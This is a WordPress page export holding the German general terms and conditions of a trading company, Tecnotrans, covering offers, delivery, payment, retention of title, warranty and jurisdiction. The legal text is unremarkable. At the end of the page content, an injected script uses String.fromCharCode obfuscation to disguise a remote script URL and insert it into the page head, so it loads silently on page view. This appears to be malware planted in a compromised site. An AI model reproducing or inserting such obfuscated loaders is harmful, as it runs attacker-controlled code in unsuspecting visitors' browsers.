{"id":1981,"date":"2017-12-11T15:25:35","date_gmt":"2017-12-11T14:25:35","guid":{"rendered":"https:\/\/tecnotrans-sa.com\/?page_id=1981"},"modified":"2023-08-04T11:10:16","modified_gmt":"2023-08-04T09:10:16","slug":"agb","status":"publish","type":"page","link":"https:\/\/tecnotrans-sa.com\/es\/agb\/","title":{"rendered":"Allgemeine Gesch\u00e4ftsbedingungen"},"content":{"rendered":"<section class=\"wpb-content-wrapper\"><p>[vc_row][vc_column][vc_column_text]<\/p>\n<h1 class=\"title\">AGB<\/h1>\n<p><strong>Allgemeine Gesch\u00e4ftsbedingungen der Tecnotrans UG (haftungsbeschr.) &amp; Co.KG<\/strong><\/p>\n<p><strong>1. Vertragsgegenstand<\/strong><\/p>\n<p>1.1 F\u00fcr alle Vereinbarungen und Angebote zwischen uns und unseren Kunden (K\u00e4ufer) gelten die vorliegenden Allgemeinen Gesch\u00e4ftsbedingungen (AGB). Sie werden mit Auftragserteilung oder der Annahme unserer Lieferungen oder Leistungen durch den K\u00e4ufer bzw. durch Auftragsbest\u00e4tigung oder Lieferung oder Leistung des Lieferanten anerkannt.<\/p>\n<p>Diese AGB gelten auch f\u00fcr alle zuk\u00fcnftigen Lieferungen, Leistungen und Angebote, auch wenn sie nicht nochmals gesondert vereinbart werden.<\/p>\n<p>1.2 Die Verkaufsbedingungen gelten gegen\u00fcber Unternehmen und juristischen Personen des \u00f6ffentlichen Rechts, sowie gegen\u00fcber \u00f6ffentlich rechtlichen Sonderverm\u00f6gen. Unternehmer im Sinne der Verkaufsbedin-gungen sind nat\u00fcrliche oder juristische Personen oder rechtsf\u00e4hige Personengesellschaften, mit denen in Gesch\u00e4ftsbeziehung getreten wird, die in Aus\u00fcbung einer gewerblichen oder selbst\u00e4ndigen beruflichen T\u00e4tigkeit handeln.<\/p>\n<p>1.3 F\u00fcr die Auslegung von Handelsklauseln sind im Zweifel die Incoterms in der jeweils g\u00fcltigen Fassung ma\u00dfgeblich.<\/p>\n<p><strong>2. Angebote und Vertragsschluss<\/strong><\/p>\n<p>2.1. Unsere Angebote sind freibleibend, soweit sich aus dem Angebot nichts anderes ergibt.<\/p>\n<p>2.2. Unseren Angeboten beigef\u00fcgte bzw. zugrunde liegenden Zeichnungen, Abbildungen, Beschreibungen, Pl\u00e4ne, Prospekte oder sonstigen Unterlagen sind unverbindliche Informationen, Abweichungen sind vorbehalten.<\/p>\n<p>2.3. Der Vertrag kommt zustande durch unsere schriftliche Auftragsbest\u00e4tigung oder bei Fehlen einer solchen durch die Ausf\u00fchrung des Auftrages.<\/p>\n<p>2.4. S\u00e4mtliche Erg\u00e4nzungen, Ab\u00e4nderungen oder Nebenabreden des Vertrages bed\u00fcrfen zu ihrer Rechtswirksamkeit der schriftlichen Best\u00e4tigung. Unsere Verkaufsmitarbeiter sind nicht befugt, Nebenabreden zu treffen oder Zusicherungen zu geben, die \u00fcber den Inhalt der schriftlichen Vereinbarung hinausgehen.<\/p>\n<p>2.5. Erfolgt die Bestellung auf elektronischem Wege werden wir den Zugang der Bestellung in der Regel best\u00e4tigen. Diese Zugangsbest\u00e4tigung dokumentiert nur den Eingang einer Bestellung und stellt keine verbindliche Annahme dar. Die Annahmeerkl\u00e4rung kann jedoch mit der Zugangsbest\u00e4tigung verbunden werden.<\/p>\n<p><strong>3. Liefer- und Leistungsumfang<\/strong><\/p>\n<p>3.1. Liefer- und Leistungsumfang ergeben sich ausschlie\u00dflich aus unserer Auftragsbest\u00e4tigung.<\/p>\n<p>3.2. Technische \u00c4nderungen sowie \u00c4nderungen in Form, Farbe und\/oder Gewicht bleiben im Rahmen des Zumutbaren vorbehalten.<\/p>\n<p><strong>4. Lieferzeit und Lieferverzug<\/strong><\/p>\n<p>4.1. Von uns angegebene Lieferzeiten oder Lieferfristen sind unverbindlich, es sei denn eine bestimmte Lieferzeit oder Lieferfrist wird ausdr\u00fccklich als verbindlich vereinbart. Der Beginn der Lieferzeit oder -frist setzt die Abkl\u00e4rung aller technischen Fragen und die rechtzeitige und ordnungsgem\u00e4\u00dfe Erf\u00fcllung der Verpflichtungen des K\u00e4ufers voraus. Die Lieferzeit oder der Liefertermin ist eingehalten, wenn die bestellte Ware unser Lager oder das Werk unseres Herstellers verlassen hat.<\/p>\n<p>4.2. Die Einhaltung der Lieferzeit steht unter dem Vorbehalt richtiger und rechtzeitiger Selbstbelieferung. Dies gilt nur f\u00fcr den Fall, dass die Nichtbelieferung nicht von uns zu vertreten ist, insbesondere bei Abschluss eines kongruenten Deckungsgesch\u00e4ftes mit unserem Zulieferer. Wir werden den Kunden \u00fcber die Nichtverf\u00fcgbarkeit der Ware unverz\u00fcglich informieren. Liefertermine oder \u2013fristen verschieben bzw. verl\u00e4ngern sich angemessen, wenn wir durch h\u00f6here Gewalt, aufgrund von Arbeitsk\u00e4mpfen oder aufgrund sonstiger nicht von uns zu vertretender Umst\u00e4nde an der rechtzeitigen Erbringung unserer Leistung gehindert sind. Dies gilt auch, wenn entsprechende Umst\u00e4nde bei unseren Vorlieferanten eintreten. F\u00fcr hieraus entstehende Sch\u00e4den haften wir aus keinem Rechtsgrund. Dauert die Behinderung l\u00e4nger als 3 Monate, ist der K\u00e4ufer nach angemessener Nachfristsetzung berechtigt, hinsichtlich des noch nicht erf\u00fcllten Teiles von seinen Vertrag zur\u00fcckzutreten. Schadensersatzanspr\u00fcche stehen ihm in diesem Fall nicht zu.<\/p>\n<p>4.3. Entsteht dem K\u00e4ufer durch eine von uns zu vertretende Verz\u00f6gerung der Lieferung ein Schaden, gelten die gesetzlichen Vorschriften. Haben wir danach Schadensersatz zu leisten, so beschr\u00e4nkt dieser sich auf den im Zeitpunkt des Vertragsschlusses voraussehbaren Schaden. Er betr\u00e4gt f\u00fcr jede volle Woche der Versp\u00e4tung 0,5 % im Ganzen aber h\u00f6chstens 5 % vom Werte desjenigen Teiles der Gesamtlieferung, der infolge der Versp\u00e4tung nicht rechtzeitig oder nicht vertragsgem\u00e4\u00df genutzt werden kann. Weitere Anspr\u00fcche sind ausgeschlossen. Die vorstehende Einschr\u00e4nkung gilt nicht, soweit wir in F\u00e4llen des Vorsatzes und der groben Fahrl\u00e4ssigkeit zwingend haften. Es sei denn, es handelt sich um atypische und nicht vorhersehbare Sch\u00e4den.<\/p>\n<p><strong>5. Preise, Zahlungsbedingungen<\/strong><\/p>\n<p>5.1. Unsere angegebenen Preise sind Nettopreise zzgl. Umsatzsteuer in der gesetzlichen H\u00f6he sowie Verpackungs- und ggf. Frachtkosten sowie Transportversicherung.<\/p>\n<p>5.2. Wir sind berechtigt, noch ausstehende Lieferungen oder Leistungen nur gegen Vorauszahlung oder Sicherheitsleistung auszuf\u00fchren oder zu erbringen, wenn uns nach Abschluss des Vertrages Umst\u00e4nde bekannt werden, welche die Kreditw\u00fcrdigkeit des K\u00e4ufers wesentlich zu mindern geeignet sind und durch welche die Bezahlung unserer offenen Forderungen durch den Kunden gef\u00e4hrdet werden.<\/p>\n<p>5.3. Sofern sich aus unserer Auftragsbest\u00e4tigung oder Rechnung nichts anderes ergibt, sind die Preise ohne Abzug innerhalb von 8 Tagen ab Rechnungsdatum zur Zahlung f\u00e4llig.<\/p>\n<p>5.4. Der K\u00e4ufer hat nur dann ein Recht auf Aufrechnung, wenn seine Gegenanspr\u00fcche rechtskr\u00e4ftig festgestellt oder durch uns anerkannt wurden. Ein Zur\u00fcckbehaltungsrecht steht dem K\u00e4ufer nicht zu.<\/p>\n<p>5.5. Bei Zahlungsverzug ist der Verk\u00e4ufer berechtigt, Verzugszinsen in H\u00f6he von 8 Prozentpunkten \u00fcber dem Basiszinssatz der Europ\u00e4ischen Zentralbank (EZB) zu verlangen. Der Verk\u00e4ufer kann jedoch h\u00f6here Verzugszinsen geltend machen, sofern er nachweisen kann, dass ihm eine h\u00f6here Belastung entstanden ist.<\/p>\n<p><strong>6. Gefahr, \u00dcbergang \/ R\u00fccknahme<\/strong><\/p>\n<p>6.1. Die Gefahr des zuf\u00e4lligen Untergangs und der zuf\u00e4lligen Verschlechterung der Lieferung geht mit der Auslieferung an den Spediteur, den Frachtf\u00fchrer oder sonst zur Ausf\u00fchrung der Versendung bestimmten Person bzw. zum Zeitpunkt des Warenempfangs auf den K\u00e4ufer \u00fcber. Ist die Ware versandbereit und verz\u00f6gert sich der Versand auf Wunsch des K\u00e4ufers oder aus sonstigen, vom K\u00e4ufer zu vertretenen Gr\u00fcnden, so geht die Gefahr mit Anzeige der Versandbereitschaft auf den K\u00e4ufer \u00fcber.<\/p>\n<p>6.2. Sofern aufgrund dieser Allgemeinen Gesch\u00e4ftsbedingungen oder aufgrund gesetzlicher Bestimmungen f\u00fcr uns keine R\u00fccknahmepflicht besteht, sind R\u00fccklieferungen nur m\u00f6glich, wenn wir ihnen vorab zugestimmt haben. Voraussetzung einer freiwilligen R\u00fccknahme und R\u00fccklieferung ist in jedem Fall, dass die zur\u00fcckzugebenden Gegenst\u00e4nde neuwertig und originalverpackt sind. Stimmen wir einer R\u00fccknahme bzw. R\u00fccklieferung zu, hat diese der K\u00e4ufer auf eigene Kosten und Gefahr zu veranlassen. Sind vorgenannte Voraussetzungen erf\u00fcllt, stellen wir f\u00fcr die zur\u00fcckgenommenen Gegenst\u00e4nde eine Gutschrift in H\u00f6he des Warenwertes abz\u00fcglich einer pauschalen R\u00fccknahme- bzw. Wiedereinlagerungsgeb\u00fchr in H\u00f6he von 25% des Netto-Warenwertes.<\/p>\n<p><strong>7. Warenerhalt<\/strong><\/p>\n<p>7.1. Der K\u00e4ufer hat die gelieferte Ware unverz\u00fcglich nach Anlieferung auf ihre Vertragsm\u00e4\u00dfigkeit, insbesondere hinsichtlich Anzahl, Form, Beschaffenheit, Transportsch\u00e4den sowie sonstige M\u00e4ngel, zu untersuchen. Abweichungen oder M\u00e4ngel hat er dem Verk\u00e4ufer unverz\u00fcglich schriftlich anzuzeigen. In der Anzeige sind die Bezeichnung der Ware, die Art der Abweichung oder des Mangels, und der Liefertag anzugeben.<\/p>\n<p>7.2. Verborgene M\u00e4ngel muss der K\u00e4ufer nach ihrer Entdeckung unverz\u00fcglich, sp\u00e4testens jedoch innerhalb einer Woche schriftlich anzeigen. Die Beweislast daf\u00fcr, dass es sich um einen verborgenen Mangel handelt, tr\u00e4gt der K\u00e4ufer.<\/p>\n<p>7.3. Unbeachtet etwaiger Abweichungen oder M\u00e4ngel hat der K\u00e4ufer die Ware zun\u00e4chst entgegenzunehmen und sachgem\u00e4\u00df zu lagern. Ferner muss er dem Verk\u00e4ufer Gelegenheit geben, die beanstandete Ware zu be-sichtigen.<\/p>\n<p>7.4. Gen\u00fcgt der K\u00e4ufer seinen Untersuchungs- und R\u00fcgeobliegenheiten gem\u00e4\u00df Nr. 1 \u2013 3 nicht, gilt die Ware als genehmigt.<\/p>\n<p>7.5. Beanstandete Ware darf der K\u00e4ufer nicht in Betrieb nehmen. Verst\u00f6\u00dft er gegen diese Verpflichtung, so haftet der Verk\u00e4ufer nicht f\u00fcr Sch\u00e4den, die hierauf beruhen. Ferner hat der K\u00e4ufer in diesem Fall die Mehrkosten, die bei der M\u00e4ngelbeseitigung aufgrund der Inbetriebnahme entstehen, zu tragen bzw. dem Verk\u00e4ufer gegebenenfalls zu ersetzen.<\/p>\n<p><strong>8. Eigentumsvorbehalt<\/strong><\/p>\n<p>8.1. Die von uns gelieferten Gegenst\u00e4nde bleiben unser Eigentum bis zur Erf\u00fcllung s\u00e4mtlicher gegen\u00fcber dem K\u00e4ufer bestehenden Anspr\u00fcche (Vorbehaltsware), auch wenn einzelne Gegenst\u00e4nde bezahlt worden sind. Eine Verpf\u00e4ndung oder Sicherungs\u00fcbereignung der Vorbehaltsware ist nicht zul\u00e4ssig.<\/p>\n<p>8.2. Der K\u00e4ufer ist berechtigt, die Vorbehaltsware im ordnungsgem\u00e4\u00dfen Gesch\u00e4ftsverkehr zu bearbeiten und zu ver\u00e4u\u00dfern, solange er nicht in Zahlungsverzug ger\u00e4t. Verpf\u00e4ndungen und Sicherungs\u00fcbereignungen sind unzul\u00e4ssig. Die aus dem Weiterverkauf oder einem sonstigen Rechtsgrund (Versicherung, unerlaubte Handlung) bez\u00fcglich der Vorbehaltsware entstehenden Forderungen tritt der K\u00e4ufer bereits jetzt sicherungshalber in vollem Umfang an uns ab. Diese nimmt die Abtretung an. Wir erm\u00e4chtigen den K\u00e4ufer unwiderruflich die abgetretenen Forderungen f\u00fcr deren Rechnung und im eigenen Namen einzuziehen. Die Einzugserm\u00e4chtigung kann nur widerrufen werden, wenn der K\u00e4ufer seinen Zahlungsverpflichtungen nicht ordnungsgem\u00e4\u00df nachkommt.<\/p>\n<p>8.3. Auf unser Verlangen hat der K\u00e4ufer die Abtretung dem Kunden bekannt zugeben und uns die zur Geltendmachung unserer Rechte gegen den Kunden des K\u00e4ufers erforderlichen Unterlagen, z.B. Rechnungen, auszuh\u00e4ndigen und die erforderlichen Ausk\u00fcnfte zu erteilen. Alle Kosten der Einziehung und etwaiger Interventionen tr\u00e4gt der K\u00e4ufer.<\/p>\n<p>8.6. Bei vertragswidrigen Verhalten des K\u00e4ufers, insbesondere bei Zahlungsverzug, sind wir berechtigt die Vorbehaltsware zur\u00fcckzunehmen. Der K\u00e4ufer ist zur Herausgabe verpflichtet. In der R\u00fccknahme bzw. der Geltendmachung des Eigentumsvorbehaltes oder Pf\u00e4ndung des Liefergegenstandes durch uns liegt kein R\u00fccktritt vom Vertrag, es sei denn, sie h\u00e4tte dies ausdr\u00fccklich erkl\u00e4rt. Wir sind nach vorheriger Androhung berechtigt, die zur\u00fcckgenommene Vorbehaltsware zu verwerten und uns unter Anrechnung der offenen Forderung aus deren Erl\u00f6s zu befriedigen.<\/p>\n<p>8.7. Bei Pf\u00e4ndungen oder sonstigen Eingriffen Dritter hat uns der K\u00e4ufer unverz\u00fcglich schriftlich zu benachrichtigen. Soweit der Dritte nicht in der Lage ist, uns die gerichtlichen und au\u00dfergerichtlichen Kosten einer Drittwiderspruchsklage oder Vollstreckungsabwehrklage gegen solche Eingriffe zu erstatten, haftet der K\u00e4ufer f\u00fcr den uns entstandenen Ausfall.<\/p>\n<p><strong>9. Gew\u00e4hrleistung<\/strong><\/p>\n<p>9.1. Die Gew\u00e4hrleistungsfrist betr\u00e4gt ein Jahr ab Lieferung.<\/p>\n<p>9.2. Bei Sachm\u00e4ngeln der gelieferten Gegenst\u00e4nde sind wir, innerhalb angemessener Frist zu treffenden Wahl, zun\u00e4chst zur Nachbesserung oder Ersatzlieferung verpflichtet und berechtigt.<\/p>\n<p>9.3. F\u00fcr defekte Teile, welche unter die Gew\u00e4hrleistung fallen, stellt der Verk\u00e4ufer kostenlosen Ersatz zur Verf\u00fcgung. Transport und Austausch obliegen dem K\u00e4ufer. Ersetzte Teile werden Eigentum des Verk\u00e4ufers.<\/p>\n<p>9.4. F\u00fcr die ausgetauschten Teile wird bis zum Ablauf der Gew\u00e4hrleistungsfrist des Kaufgegenstandes Gew\u00e4hr aufgrund des Kaufvertrages geleistet.<\/p>\n<p>9.5. Wenn der Fehler nicht beseitigt werden kann oder f\u00fcr den K\u00e4ufer weitere Nachbesserungsversuche unzumutbar sind, kann der K\u00e4ufer anstelle der Nachbesserung den R\u00fccktritt erkl\u00e4ren oder Minderung (Herabsetzung der Verg\u00fctung) verlangen. Hat der K\u00e4ufer wirksam die Herabsetzung (Minderung) des Kaufpreises erkl\u00e4rt, so ist wegen desselben Mangels ein R\u00fccktritt vom Vertrag ausgeschlossen. Ein Anspruch auf Ersatzlieferung besteht nicht.<\/p>\n<p>9.6. Gew\u00e4hrleistungsanspr\u00fcche sind ausgeschlossen, wenn die Sch\u00e4den auf eine oder mehrere der folgenden Ursachen zur\u00fcckzuf\u00fchren sind:<\/p>\n<p>a) Nicht bestimmungsgem\u00e4\u00dfe Verwendung oder \u00dcberlastung des Kaufgegenstandes<\/p>\n<p>b) Unsachgem\u00e4\u00dfes oder nicht den Vorschriften des Verk\u00e4ufers\/Herstellers (z.B. Betriebsanleitung) entsprechendes Lagern, Transportieren, Montieren, Inbetriebnahmen, R\u00fcsten, Bedienen, Reinigen oder Warten des Kaufgegenstandes<\/p>\n<p>c) Unsachgem\u00e4\u00df durchgef\u00fchrte Reparaturen<\/p>\n<p>d) Eigenm\u00e4chtige bauliche Ver\u00e4nderungen des Kaufgegenstandes<\/p>\n<p>e) Eigenm\u00e4chtiges Ver\u00e4ndern der Leistungsdaten (z.B. der Antriebsverh\u00e4ltnisse, Leistung, Drehzahl)<\/p>\n<p>f) Einbau von Teilen, deren Verwendung der Verk\u00e4ufer nicht schriftlich genehmigt hat<\/p>\n<p>g) Betreiben des Kaufgegenstandes bei defekten Sicherheitseinrichtungen oder nicht ordnungsgem\u00e4\u00df angebrachten oder nicht funktionsf\u00e4higen Sicherheits- und Schutzvorrichtungen<\/p>\n<p>h) Mangelhafte \u00dcberwachung von Maschinenteilen, die einem Verschlei\u00df unterliegen<\/p>\n<p>i) Katastrophenf\u00e4lle, Fremdk\u00f6rpereinwirkung, h\u00f6here Gewalt<\/p>\n<p>9.7. Die vorstehend genannten Gew\u00e4hrleistungsanspr\u00fcche verj\u00e4hren mit Ablauf der Gew\u00e4hrleistungsfrist gem\u00e4\u00df Ziffer 9.1. F\u00fcr innerhalb der Gew\u00e4hrleistungsfrist geltend gemachte, aber nicht beseitigte Fehler wird bis zur Beseitigung des Fehlers Gew\u00e4hr geleistet; solange ist die Verj\u00e4hrungsfrist f\u00fcr diesen Fehler gehemmt.<\/p>\n<p>9.8. Eine mit dem K\u00e4ufer vereinbarte Lieferung gebrauchter Gegenst\u00e4nde erfolgt unter Ausschluss jeglicher Gew\u00e4hrleistung. Wir haften auch nicht f\u00fcr Schadensersatzanspr\u00fcche, es sein denn, wir oder einer unserer Er-f\u00fcllungsgehilfen haben grob fahrl\u00e4ssig oder vors\u00e4tzlich seine Pflichten verletzt.<\/p>\n<p>9.9. Schadensersatzanspr\u00fcche, gleich aus welchem Rechtsgrund, sind bei leicht fahrl\u00e4ssiger Verletzung unwesentlicher Vertragspflichten ausgeschlossen. Dies gilt auch bei leicht fahrl\u00e4ssigen Pflichtverletzungen unserer gesetzlichen Vertreter oder Erf\u00fcllungs- bzw. Verrichtungsgehilfen. Etwas anderes gilt nur, soweit die leicht fahrl\u00e4ssige Verletzung wesentliche Vertragspflichten betrifft oder K\u00f6rper- und Gesundheitsbesch\u00e4digungen bzw. Todesf\u00e4lle eingetreten sind.<\/p>\n<p>Anspr\u00fcche des K\u00e4ufers aus Produkthaftung und sonstige Anspr\u00fcche aus Produzentenhaftung bleiben unber\u00fchrt.<\/p>\n<p>Die Haftung ist auf den vorhersehbaren Schaden beschr\u00e4nkt.<\/p>\n<p>Schadensersatzanspr\u00fcche des K\u00e4ufers wegen eines Mangels verj\u00e4hren in einem Jahr ab Ablieferung der Ware. Etwas anderes gilt nur, soweit uns grobes Verschulden vorgeworfen werden kann oder K\u00f6rper-und Gesund-heitsbesch\u00e4digungen bzw. Todesf\u00e4lle eingetreten sind.<\/p>\n<p><strong>10. Anzuwendende Rechte, Gerichtsstand<\/strong><\/p>\n<p>10.1. Es gilt das Recht der Bundesrepublik Deutschland. Die Bestimmungen des UN-Kaufrechtes finden keine Anwendung.<\/p>\n<p>10.2. Erf\u00fcllungsort f\u00fcr alle Rechtsstreitigkeiten ist Osnabr\u00fcck. Ist unser Vertragspartner Kaufmann, juristische Person des \u00f6ffentlichen Rechtes oder \u00f6ffentlich-rechtliches Sonderverm\u00f6gen, so ist unser Sitz ausschlie\u00dflicher Gerichtsstand f\u00fcr alle Streitigkeiten einschlie\u00dflich Scheck- und Wechselklagen. Dies gilt auch, wenn unser Vertragspartner keinen allgemeinen Gerichtsstand in Deutschland hat oder Wohnsitz oder der gew\u00f6hnliche Aufenthalt im Zeitpunkt der Klageerhebung nicht bekannt ist. Wir sind aber berechtigt, den Vertragspartner auch an dessen Gerichtstand zu verklagen.<\/p>\n<p>02. Jan. 2019<\/p>\n<p>Tecnotrans UG (h.b.) &amp; Co.KG, Masurenweg 3, 49219 Glandorf, Germany<\/p>\n<p>Tel: 05426 8069702 Mail: mail@tecnotrans-sa.com[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script>[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n<\/section>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][vc_column_text] AGB Allgemeine Gesch\u00e4ftsbedingungen der Tecnotrans UG (haftungsbeschr.) &amp; Co.KG 1. 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